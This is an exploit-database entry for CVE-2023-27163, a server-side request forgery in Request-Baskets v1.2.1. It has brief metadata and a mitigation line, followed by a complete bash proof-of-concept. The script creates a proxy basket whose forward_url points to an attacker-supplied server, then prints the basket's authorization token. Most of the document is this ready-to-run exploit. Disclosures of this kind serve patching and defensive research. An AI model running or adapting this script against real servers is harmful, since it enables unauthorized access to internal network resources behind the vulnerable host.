Request-Baskets v1.2.1 - Server-side request forgery (SSRF)

vendor:

Request-Baskets

by:

Iyaad Luqman K (init_6)

6.5

CVSS

MEDIUM

Server-side request forgery (SSRF)

SSRF

CWE

Product Name: Request-Baskets

Affected Version From: v1.2.1

Affected Version To: v1.2.1

Patch Exists: NO

Related CWE: CVE-2023-27163

CPE:

Metasploit:

Other Scripts:

Platforms Tested: Ubuntu 22.04

2023

Request-Baskets v1.2.1 – Server-side request forgery (SSRF)

This exploit allows an attacker to create a proxy basket in Request-Baskets v1.2.1 and make the server request to a specified attacker server. This can lead to server-side request forgery (SSRF) attacks.

Mitigation:

Update to a version higher than v1.2.1 that fixes the SSRF vulnerability. Also, validate and sanitize user input to prevent SSRF attacks.

Source

Exploit-DB raw data:

# Exploit Title: Request-Baskets v1.2.1 - Server-side request forgery (SSRF)
# Exploit Author: Iyaad Luqman K (init_6)
# Application: Request-Baskets v1.2.1
# Tested on: Ubuntu 22.04
# CVE: CVE-2023-27163


# PoC
#!/bin/bash


if [ "$#" -lt 2 ] || [ "$1" = "-h" ] || [ "$1" = "--help" ]; then
    help="Usage: exploit.sh <URL> <TARGET>\n\n";
    help+="Arguments:\n" \
    help+=" URL            main path (/) of the server (eg. http://127.0.0.1:5000/)\n";
    help+=" TARGET";

    echo -e "$help";
    exit 1;
fi

URL=$1
ATTACKER_SERVER=$2

if [ "${URL: -1}" != "/" ]; then
    URL="$URL/";
fi;

BASKET_NAME=$(LC_ALL=C tr -dc 'a-z' </dev/urandom | head -c "6");

API_URL="$URL""api/baskets/$BASKET_NAME";

PAYLOAD="{\"forward_url\": \"$ATTACKER_SERVER\",\"proxy_response\": true,\"insecure_tls\": false,\"expand_path\": true,\"capacity\": 250}";

echo "> Creating the \"$BASKET_NAME\" proxy basket...";

if ! response=$(curl -s -X POST -H 'Content-Type: application/json' -d "$PAYLOAD" "$API_URL"); then
    echo "> FATAL: Could not properly request $API_URL. Is the server online?";
    exit 1;
fi;

BASKET_URL="$URL$BASKET_NAME";

echo "> Basket created!";
echo "> Accessing $BASKET_URL now makes the server request to $ATTACKER_SERVER.";

if ! jq --help 1>/dev/null; then
    echo "> Response body (Authorization): $response";
else
    echo "> Authorization: $(echo "$response" | jq -r ".token")";
fi;

exit 0;